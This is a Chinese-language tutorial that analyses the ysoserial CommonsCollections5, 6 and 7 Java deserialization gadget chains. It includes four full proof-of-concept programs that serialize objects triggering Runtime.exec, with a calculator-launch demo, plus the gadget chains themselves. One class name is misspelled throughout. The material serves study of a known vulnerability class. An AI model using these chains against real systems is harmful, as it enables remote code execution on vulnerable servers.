前言CommonsCollections5
TiedMapEntryPoCgadget chain问题1 CommonsCollections6
PoC问题1gadget chain CommonsCollections7
问题1: 关于HashMap/Hashtable中的hash冲突PoC - 使用Hashtablegadget chain问题2问题3:可否将Hashtable换成HashMap?PoC - 使用HashMap替换Hashtable 前言
前文分析了CommonsCollections1 的原理,它受到了JDK版本的制约。本文来分析一下ysoserlial的CommonsCollections5/6/7 是如何解决这个问题的。
CommonsCollections5前文分析提到,从JDK 8u71开始,由于AnnotationInvocationHandler#readObject()代码的修改,导致CommonsCollections1的LazyMap#get()无法被调用。那么想解决这个问题,就要找到其他会调用LazyMap#get()的类。CommonsCollections5 用到一个类 org.apache.commons.collections.keyvalue.TiedMapEntry,它是commons-collections 这个库中的类。
TiedMapEntry TiedMapEntry是Map对象的一个封装类,可对Map对象的操作进行控制。
在这个类里,在成员方法TiedMapEntry#getValue()中调用了内部Map对象的get()方法。而成员方法TiedMapEntry#equals()、TiedMapEntry#hashCode()和TiedMapEntry#toString() 都调用了TiedMapEntry#getValue()。
在ysoserial CommonsCollections5中,作者使用了 BadAttributevalueExpException类,这个类的readObject()方法会调用其成员变量val的toString()方法。那么我们只要把TiedMapEntry对象赋值给val即可。
PoCpublic static void main(String[] args) { try { Transformer[] transformers = new Transformer[]{ //Runtime类没有实现 java.io.Serializable 接口, // 所以不能被序列化,所以得换以下这种方式 new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo"); BadAttributevalueExpException badAttrValExpException = new BadAttributevalueExpException(null); Field val = badAttrValExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttrValExpException, tiedMapEntry); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttrValExpException); System.out.println(baos.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); Object o = ois.readObject(); } catch (Exception e) { e.printStackTrace(); }}
gadget chainBadAttributevalueExpException#readObject() TiedMapEntry#toString() TiedMapEntry#getValue() LazyMap#get() ChainedTransformer#transform() ConstantTransformer#transform() InvokerTransformer#transform() Method#invoke() -> Class.getMethod() InvokerTransformer#transform() Method#invoke() -> Runtime.getRuntime() InvokerTransformer#transform() Method#invoke() -> Runtime.exec()
问题1为什么TiedMapEntry不通过BadAttributevalueExpException的构造方法传入,而非得通过反射去赋值呢?
答:
因为BadAttributevalueExpException的构造方法,如果传入的不是null而是TiedMapEntry对象,则会立刻调用TiedMapEntry#toString()并将返回值赋值给val。这样的话,在序列化数据生成的过程中就会触发我们构造好的命令执行代码。因此这是原作者为了避免此情况作的优化。
前面提到,在TiedMapEntry中,成员方法TiedMapEntry#equals()、TiedMapEntry#hashCode()和TiedMapEntry#toString() 都调用了TiedMapEntry#getValue()。
CommonsCollections5 选择使用TiedMapEntry#toString(),而CommonsCollections6 选择了使用TiedMapEntry#hashCode() 。
剩下的就是寻找反序列化readObject()时能调用到TiedMapEntry#hashCode()方法的类。
这里笔者不打算完全照搬ysoserial 里的实现,因为它略复杂了点,感觉在不影响理解原有利用链的基础上,可以精简一下。
提到hashCode()方法,上一篇文章分析URLDNS gadget的时候就有看到过。HashMap在put(key,value)操作的时候,是会调用key对象的hashCode()方法的。而且在HashMap#readObject()方法中会通过put操作来还原自身。
PoCpublic static void main(String[] args) { try { Transformer[] transformers = new Transformer[]{ //Runtime类没有实现 java.io.Serializable 接口, // 所以不能被序列化,所以得换以下这种方式 new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ), }; Transformer[] tmpTransformers = new Transformer[] { new ConstantTransformer(1), }; //这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作, // 所以这是为了避免生成序列化数据的过程中触发命令执行的代码。 //在下面put操作后通过反射再将含有命令执行的执行链构造好即可。 Transformer transformerChain = new ChainedTransformer(tmpTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo1"); Map finalMap = new HashMap(); finalMap.put(tiedMapEntry, "foo2"); outerMap.remove("foo1"); Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(transformerChain, transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(finalMap); System.out.println(baos.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); Object o = ois.readObject(); } catch (Exception e) { e.printStackTrace(); }}
问题1上面的代码中,为什么要执行outerMap.remove("foo1");
答:
假设不加这一句代码。会发生什么呢?结果是我们构造的命令执行的Transformer执行链没有被执行。
原因在HashMap#put()方法。把上面的其中三行代码抽出来解释:
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo1");Map finalMap = new HashMap();finalMap.put(tiedMapEntry, "foo2");
当HashMap#put()方法被执行,后续会执行LazyMap#get(Object key)方法,此时的key的值是字符串foo1,由于在前面的innerMap集合中我们没有往里面放置任何值,所以innerMap会将foo1作为key放置到自身集合中:
因此,在后面反序列化的过程中,当LazyMap#get("foo1")时,就不会进入这个if分支,所以我们构造的Transformer执行链就不会执行了。
因此为了解决这个问题,我们必须得在构造序列化数据的时候,执行innerMap#remove("foo1") 或 outerMap#remove("foo1"); 。
gadget chainHashMap#readObject() HashMap#hash() TiedMapEntry#hashCode() TiedMapEntry#getValue() LazyMap#get() ChainedTransformer#transform() ConstantTransformer#transform() InvokerTransformer#transform() Method#invoke() -> Class.getMethod() InvokerTransformer#transform() Method#invoke() -> Runtime.getRuntime() InvokerTransformer#transform() Method#invoke() -> Runtime.exec()
ysoserial的CommonsCollections6 gadget可能因为考虑得比较周全的,所以显得略复杂,还多用了HashSet类。不过这里简化过的代码,反序列化也可以成功执行命令,而且不影响理解它的本质原理。
CommonsCollections7与CommonsCollections5、CommonsCollections6类似,CommonsCollections7也是去找什么类可以调LazyMap#get(),其实LazyMap#equals()方法就调用了LazyMap#get()。一般而言,equals()方法用于比较两个对象是否相等。剩下的就是找一个类,它在反序列化过程中,可以自动触发两个LazyMap对象的比较。
按照这个思路,CC7选择使用Hashtable。Hashtable类其实和HashMap差不多,调用put()方法时,存放的位置是由key的hash决定的,如果key的hash与已经存在的某个key的hash一样,则会调用key的equals()方法进行比较。
那么如果这两个key的类型是LazyMap,则可以触发了两个LazyMap对象的比较:lazymap1.equals(lazymap2)。
而在Hashtable的反序列化readObject()的过程中,会调用reconstitutionPut()方法对自身集合的数据进行重新构建,其实就是将反序列化得到的数值或对象进行put()操作。换言之Hashtable的反序列化操作会触发lazymap1.equals(lazymap2)。
问题1: 关于HashMap/Hashtable中的hash冲突有了构造利用链的思路后,剩下就是如何构造有hash冲突的key。所谓hash冲突,就是put()进去的key,与已存在的某个key的hash是一样的情况。
也许你会说,这个简单,put()两个完全一样的key不就好了?实际上,这样会导致Transformer的执行链ChainedTransformer不被执行,原因见LazyMap#get()。
也就是说,我们得构造key不能一样,但其hash值是一样的才行。
计算hash值的方法是hashCode()。LazyMap#hashCode(),它会调用内层Map对象的hashCode()方法。我们假设内层Map是一个HashMap类型,看一下HashMap#hashCode()。
可以看到HashMap的hash值是它的键值对的hash进行异或,然后再累加起来。
这里只关注key的hash值计算即可,value我们可以设置为一模一样的就好,比如简单的Integer类型,其hash值就是其int数值。 在ysoserial中,key取了String类型,且长度为2。我们来看看String的hashCode()方法。从String#hashCode()的注释可以了解到,其算法是:s[0]*31^(n-1) + s[1]*31^(n-2) + ..、+ s[n-1],其代码实现如下:
假设第一个put()的key为"aa",而字符a的ASCII值是97,则字符串"aa"的hash值计算如下:
loop1:h = 31 * 0 + 97 = 97loop2:h = 31 * 97 + 97 = 32 * 97 = 3104hash = h = 3104 ==> 字符串"aa"的hash值
可以看到上面的算式中32作为乘法因子,我们便可以利用大小写字母之间的差值为32来构造与"aa"的hash相同的简单字符串"bB":
loop1:h = 31 * 0 + 98 = 98loop2:h = 31 * 98 + (98 - 32) = 32 * 98 - 32 = 32 * 97 = 3104hash = h = 3104 ==> 字符串"bB"的hash值
解决了构造hash冲突的问题,就可以构造PoC了。
PoC - 使用Hashtablepublic static void main(String[] args) { try { Transformer[] transformers = new Transformer[]{ //Runtime类没有实现 java.io.Serializable 接口, // 所以不能被序列化,所以得换以下这种方式 new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ), }; Transformer[] tmpTransformers = new Transformer[] { new ConstantTransformer(1), }; //这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作, // 所以这是为了避免生成序列化数据的过程中触发命令执行的代码。 //在下面put操作后通过反射再将含有命令执行的执行链构造好即可。 Transformer transformerChain = new ChainedTransformer(tmpTransformers); Map innerMap1 = new HashMap(); Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain); Map innerMap2 = new HashMap(); Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain); //构造可导致hash冲突两个Map对象 outerMap1.put("aa", 11); outerMap2.put("bB", 11); Hashtable hashtable = new Hashtable(); hashtable.put(outerMap1, 3); hashtable.put(outerMap2, 3); outerMap2.remove("aa"); Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(transformerChain, transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashtable); System.out.println(baos.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); Object o = ois.readObject(); } catch (Exception e) { e.printStackTrace(); }}
gadget chainHashtable#readObject() Hashtable#reconstitutionPut() AbstractMapDecorator#equals() AbstractMap#equals() LazyMap#get() ChainedTransformer#transform() ConstantTransformer#transform() InvokerTransformer#transform() Method#invoke() -> Class.getMethod() InvokerTransformer#transform() Method#invoke() -> Runtime.getRuntime() InvokerTransformer#transform() Method#invoke() -> Runtime.exec()
问题2上面的代码中,为什么要执行outerMap2.remove("aa");
答:
原因跟前面的CC6 问题1类似,也是由于LazyMap#get()方法引起的,结果就是导致反序列化时不会导致hash冲突而触发LazyMap#equals()方法。解决方法就是remove掉多余的key。
答:
用HashMap替换Hashtable是可以的。这两个类一般情况下是可替换来用的,区别主要在于线程安全和性能方面而已。
但要移除的多余的key可能得改一下。
PoC - 使用HashMap替换Hashtablepublic static void main(String[] args) { try { Transformer[] transformers = new Transformer[]{ //Runtime类没有实现 java.io.Serializable 接口, // 所以不能被序列化,所以得换以下这种方式 new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ), }; Transformer[] tmpTransformers = new Transformer[] { new ConstantTransformer(1), }; //这里先构造一个无意义的执行链,因为下面构造序列化数据时,HashMap要进行put操作, // 所以这是为了避免生成序列化数据的过程中触发命令执行的代码。 //在下面put操作后通过反射再将含有命令执行的执行链构造好即可。 Transformer transformerChain = new ChainedTransformer(tmpTransformers); Map innerMap1 = new HashMap(); Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain); Map innerMap2 = new HashMap(); Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain); //构造可导致hash冲突两个Map对象 outerMap1.put("aa", 11); outerMap2.put("bB", 11); HashMap hashtable = new HashMap(); hashtable.put(outerMap1, 3); hashtable.put(outerMap2, 3); outerMap1.remove("bB"); Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(transformerChain, transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashtable); System.out.println(baos.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); Object o = ois.readObject(); } catch (Exception e) { e.printStackTrace(); }}